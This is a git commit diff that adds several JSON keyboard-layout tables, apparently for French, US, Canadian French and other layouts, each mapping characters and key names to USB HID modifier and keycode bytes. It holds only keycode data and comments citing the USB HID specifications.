add languages, update extensions
parent
e6ce06aaf5
commit
d41bfa1aaa
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"q":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
",":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"a":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"z":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"w":"00,00,1d",
|
||||||
|
"&":"00,00,1e",
|
||||||
|
"\"":"00,00,20",
|
||||||
|
"'":"00,00,21",
|
||||||
|
"(":"00,00,22",
|
||||||
|
"!":"00,00,25",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
")":"00,00,2d",
|
||||||
|
"-":"00,00,2e",
|
||||||
|
"$":"00,00,30",
|
||||||
|
"m":"00,00,33",
|
||||||
|
";":"00,00,36",
|
||||||
|
":":"00,00,37",
|
||||||
|
"=":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"Q":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"?":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"A":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"Z":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"W":"02,00,1d",
|
||||||
|
"1":"02,00,1e",
|
||||||
|
"2":"02,00,1f",
|
||||||
|
"3":"02,00,20",
|
||||||
|
"4":"02,00,21",
|
||||||
|
"5":"02,00,22",
|
||||||
|
"6":"02,00,23",
|
||||||
|
"7":"02,00,24",
|
||||||
|
"8":"02,00,25",
|
||||||
|
"9":"02,00,26",
|
||||||
|
"0":"02,00,27",
|
||||||
|
"_":"02,00,2e",
|
||||||
|
"*":"02,00,30",
|
||||||
|
"M":"02,00,33",
|
||||||
|
"%":"02,00,34",
|
||||||
|
".":"02,00,36",
|
||||||
|
"/":"02,00,37",
|
||||||
|
"+":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"|":"40,00,1e",
|
||||||
|
"@":"40,00,1f",
|
||||||
|
"#":"40,00,20",
|
||||||
|
"^":"40,00,23",
|
||||||
|
"{":"40,00,26",
|
||||||
|
"}":"40,00,27",
|
||||||
|
"[":"40,00,2f",
|
||||||
|
"]":"40,00,30",
|
||||||
|
"`":"40,00,31",
|
||||||
|
"~":"40,00,38",
|
||||||
|
"\\":"40,00,64",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,64",
|
||||||
|
"COMMAND-CTRL":"40,00,64",
|
||||||
|
"COMMAND-OPTION-SHIFT":"40,00,64"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"-":"00,00,2d",
|
||||||
|
"=":"00,00,2e",
|
||||||
|
"[":"00,00,30",
|
||||||
|
"]":"00,00,31",
|
||||||
|
"~":"00,00,34",
|
||||||
|
"'":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
";":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"\\":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"@":"02,00,1f",
|
||||||
|
"#":"02,00,20",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,24",
|
||||||
|
"*":"02,00,25",
|
||||||
|
"(":"02,00,26",
|
||||||
|
")":"02,00,27",
|
||||||
|
"_":"02,00,2d",
|
||||||
|
"+":"02,00,2e",
|
||||||
|
"`":"02,00,2f",
|
||||||
|
"{":"02,00,30",
|
||||||
|
"}":"02,00,31",
|
||||||
|
"^":"02,00,34",
|
||||||
|
"\"":"02,00,35",
|
||||||
|
"<":"02,00,36",
|
||||||
|
">":"02,00,37",
|
||||||
|
":":"02,00,38",
|
||||||
|
"|":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"/":"40,00,14",
|
||||||
|
"?":"40,00,1a",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,1a",
|
||||||
|
"COMMAND-CTRL":"40,00,1a",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,1a"
|
||||||
|
}
|
|
@ -0,0 +1,170 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":" Canadian french version made by Dominic Villeneuve",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"-":"00,00,2d",
|
||||||
|
"=":"00,00,2e",
|
||||||
|
"^":"00,00,2f",
|
||||||
|
"<":"40,00,36",
|
||||||
|
";":"00,00,33",
|
||||||
|
"`":"40,00,2f",
|
||||||
|
"#":"02,00,20",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,35",
|
||||||
|
"/":"00,00,35",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"?":"02,00,23",
|
||||||
|
"&":"02,00,24",
|
||||||
|
"*":"02,00,25",
|
||||||
|
"(":"02,00,26",
|
||||||
|
")":"02,00,27",
|
||||||
|
"_":"02,00,2d",
|
||||||
|
"+":"02,00,2e",
|
||||||
|
">":"40,00,37",
|
||||||
|
":":"02,00,33",
|
||||||
|
"|":"40,00,35",
|
||||||
|
"'":"02,00,36",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"\\":"02,00,35",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"@":"02,00,1f",
|
||||||
|
"[":"40,00,26",
|
||||||
|
"]":"40,00,27",
|
||||||
|
"}":"40,00,25",
|
||||||
|
"~":"40,00,30",
|
||||||
|
"{":"40,00,24",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,34",
|
||||||
|
"COMMAND-CTRL":"40,00,34",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,34"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"-":"00,00,2d",
|
||||||
|
"=":"00,00,2e",
|
||||||
|
"^":"00,00,2f",
|
||||||
|
"<":"00,00,31",
|
||||||
|
";":"00,00,33",
|
||||||
|
"`":"00,00,34",
|
||||||
|
"#":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"/":"02,00,20",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"?":"02,00,23",
|
||||||
|
"&":"02,00,24",
|
||||||
|
"*":"02,00,25",
|
||||||
|
"(":"02,00,26",
|
||||||
|
")":"02,00,27",
|
||||||
|
"_":"02,00,2d",
|
||||||
|
"+":"02,00,2e",
|
||||||
|
">":"02,00,31",
|
||||||
|
":":"02,00,33",
|
||||||
|
"|":"02,00,35",
|
||||||
|
"'":"02,00,36",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"\\":"04,00,35",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"@":"40,00,1f",
|
||||||
|
"[":"40,00,2f",
|
||||||
|
"]":"40,00,30",
|
||||||
|
"}":"40,00,31",
|
||||||
|
"~":"40,00,33",
|
||||||
|
"{":"40,00,34",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,34",
|
||||||
|
"COMMAND-CTRL":"40,00,34",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,34"
|
||||||
|
}
|
|
@ -0,0 +1,268 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
